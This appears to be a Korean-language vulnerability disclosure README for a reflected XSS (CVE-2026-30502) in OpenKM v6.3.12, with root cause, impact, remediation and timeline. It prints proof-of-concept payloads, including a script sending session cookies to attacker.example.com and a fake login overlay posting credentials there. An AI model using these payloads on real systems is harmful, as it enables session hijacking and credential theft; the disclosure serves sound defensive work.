
OpenKM v6.3.12의 반사형 XSS 취약점인 CVE-2026-30502에 대한 문서 및 개념 증명. 보안 연구자 및 침투 테스터를 위한 기술 분석, 근본 원인, 영향 평가 및 수정 지침을 포함합니다.
이 저장소는 기업 및 정부 환경에서 널리 사용되는 오픈 소스 문서 관리 시스템인 OpenKM v6.3.12에서 식별된 반사형 XSS(Reflected Cross-Site Scripting) 취약점 CVE-2026-30502의 책임 있는 공개를 문서화합니다.
취약점은 Content 매개변수에 존재하며, 사용자가 제공한 입력을 적절한 살균 또는 출력 인코딩 없이 브라우저에 반영합니다. 공격자는 악성 JavaScript를 포함한 URL을 제작하고, 피해자를 속여 해당 링크를 클릭하도록 하여 피해자의 브라우저 세션 내에서 스크립트가 실행되도록 할 수 있습니다.
⚠️ 심각도: 중간–높음 | 공격 벡터: 네트워크 | 필요 권한: 없음 | 사용자 상호작용: 필요
OpenKM은 비즈니스 문서를 관리, 감사 및 배포하기 위한 웹 인터페이스를 제공하는 무료 오픈 소스 문서 관리 시스템(DMS)입니다. 전 세계 기업, 정부 기관, 교육 기관에서 사용됩니다.
v6.3.12OpenKM v6.3.12에서 Content 매개변수를 통해 반사형 XSS(Reflected Cross-Site Scripting) 취약점이 식별되었습니다. 애플리케이션이 사용자 제공 입력을 HTTP 응답 본문에 반영하기 전에 검증하거나 인코딩하지 않아 임의의 JavaScript가 피해자의 브라우저에 주입 및 실행될 수 있습니다.
저장형 XSS와 달리 반사형 XSS 페이로드는 데이터베이스에 저장되지 않고, 조작된 URL에 포함되어 이동합니다. 이 공격은 피해자가 악성 링크(이메일, 소셜 미디어 또는 피싱 캠페인을 통해 전달)를 클릭하도록 속이는 것에 의존하며, 이후 페이로드가 피해자의 브라우저에서 피해자 세션 컨텍스트로 무음 실행됩니다.
Attacker crafts malicious URL
│
▼
Victim clicks the link (phishing / social engineering)
│
▼
Browser sends GET/POST request with payload in `Content` parameter
│
▼
OpenKM reflects unsanitized input directly into HTML response
│
▼
Browser parses & executes injected JavaScript
│
▼
Session hijacked / credentials harvested / account compromised
취약점은 애플리케이션이 Content 매개변수에 대한 입출력 보안 제어를 적용하지 못한 데서 비롯됩니다:
User-Crafted URL ──► Content Parameter ──► [NO Validation]
──► Reflected in HTML Response ──► [NO Encoding]
──► Browser Executes Script ──► Account Compromised
이 취약점의 성공적인 악용은 다음으로 이어질 수 있습니다:
⚠️ 면책 조항: 다음 정보는 책임 있는 공개 원칙에 따라 교육 및 보안 연구 목적으로만 공유됩니다. 귀하가 소유하지 않거나 명시적 서면 허가를 받지 않은 시스템에 대해 테스트하거나 사용하지 마십시오.
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
Content 매개변수를 반영하는 취약한 엔드포인트를 식별합니다.Content 매개변수에 XSS 페이로드를 추가하여 URL을 조작합니다.전체 과정 동안 공급업체 조정 및 CVE 프로그램 참여를 포함하여 완전한 책임 있는 공개 원칙이 준수되었습니다.
보안 연구원 | 침투 테스터 | 버그 헌터 | CVE 기여자
Dharmendra Kumar는 웹 애플리케이션 보안, 침투 테스트 및 책임 있는 취약점 공개를 전문으로 하는 독립적인 사이버 보안 연구원입니다. 그의 연구는 널리 사용되는 소프트웨어의 실제 보안 결함을 식별하고 책임 있게 보고하여 전 세계 사용자를 위한 더 안전한 애플리케이션에 기여하는 데 중점을 둡니다.
전문 분야:
연결하기:
이 저장소는 오직 교육 및 정보 제공 목적으로 제공됩니다. 취약점 세부정보 및 개념 증명 페이로드는 책임 있는 공개 원칙에 따라 게시됩니다. 저자는 이 정보의 무단 사용을 용납하지 않으며 이에 대한 책임을 지지 않습니다. 귀하가 소유하지 않은 시스템에 대해 보안 테스트를 수행하기 전에 항상 명시적 서면 허가를 받으십시오.
다음 분들께 특별히 감사드립니다:
⭐ 이 연구가 도움이 되셨다면, 이 저장소에 별표를 눌러 주시기 바랍니다.
모두를 위한 더 안전한 웹을 위해 공개적으로 공유되는 보안 연구.
© 2026 Dharmendra Kumar — All Rights Reserved
| 필드 | 세부사항 |
|---|
| CVE ID | CVE-2026-30502 |
| 제품 | OpenKM |
| 영향 받는 버전 | v6.3.12 |
| 취약점 클래스 | 반사형 XSS(Reflected Cross-Site Scripting) |
| 취약한 매개변수 | Content |
| CWE | CWE-79: 웹 페이지 생성 시 입력 값의 부적절한 중립화 |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| 심각도 | 중간–높음 |
| 발행자 | MITRE CVE 프로그램 |
| 연구원 | Dharmendra Kumar |
| 공개 유형 | 책임 있는 / 조정된 공개 |
| 취약점 | 설명 |
|---|
| ❌ 입력 검증 없음 | Content 매개변수는 제한이나 필터링 없이 원시 HTML/JavaScript 문자를 수용합니다. |
| ❌ 출력 인코딩 없음 | 반영된 값이 HTML 엔티티 인코딩 없이 HTML 응답에 기록됩니다. |
| ❌ CSP 헤더 누락 | 인라인 스크립트 실행을 차단하는 콘텐츠 보안 정책이 적용되지 않습니다. |
| ❌ HTTPOnly 쿠키 없음 | 세션 토큰이 JavaScript를 통해 접근 가능하여 직접적인 쿠키 도용을 허용합니다. |
| 위험 | 설명 |
|---|
| 🍪 세션 하이재킹 | document.cookie를 통해 활성 세션 토큰을 탈취하여 피해자를 사칭합니다. |
| 🔑 자격 증명 수집 | 가짜 로그인 오버레이를 주입하여 일반 텍스트 사용자 이름과 비밀번호를 캡처합니다. |
| 📤 정보 유출 | 민감한 문서 내용, 사용자 데이터 또는 내부 구성을 유출합니다. |
| 🎣 피싱 공격 | 신뢰할 수 있는 OpenKM 도메인 내에서 호스팅되는 설득력 있는 가짜 페이지를 제공합니다. |
| 👤 계정 탈취 | 피해자를 대신하여 임의의 인증된 작업을 수행합니다. |
| ⚙️ 무단 작업 | DMS 내 문서를 수정, 삭제 또는 유출합니다. |
| 🖥️ 악성코드 배포 | 피해자를 악성 다운로드를 호스팅하는 공격자 제어 사이트로 리디렉션합니다. |
| 권장 사항 | 구현 |
|---|
| ✅ 입력 검증 | 모든 사용자 제어 매개변수에서 HTML 특수 문자(<, >, ", ', ;)를 거부하거나 제거합니다. |
| ✅ 출력 인코딩 | 반영된 데이터를 렌더링하기 전에 OWASP Java Encoder와 같은 라이브러리를 사용하여 컨텍스트 인식 HTML 인코딩을 적용합니다. |
| ✅ 콘텐츠 보안 정책 | 엄격한 CSP 헤더 배포: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ HTTPOnly 쿠키 | 모든 세션 쿠키에 HttpOnly 및 Secure 플래그를 설정하여 JavaScript 접근을 차단합니다. |
| ✅ 보안 라이브러리 | 강력한 살균을 위해 OWASP AntiSamy 또는 DOMPurify를 통합합니다. |
| ✅ 업그레이드 | 즉시 최신 공급업체 릴리스 보안 패치를 적용합니다. |
| 날짜 | 이벤트 |
|---|
| 🔍 발견 | OpenKM v6.3.12 보안 평가 중 취약점 식별 |
| 📧 공급업체 통보 | 책임 있는 공개 보고서를 OpenKM 보안 팀에 제출 |
| 🤝 공급업체 확인 | OpenKM 팀이 취약점 보고서를 확인 |
| 📝 CVE 할당 | MITRE CVE 프로그램을 통해 CVE-2026-30502 할당 |
| 🌐 공개 공개 | 수정 기간 후 조정된 공개 |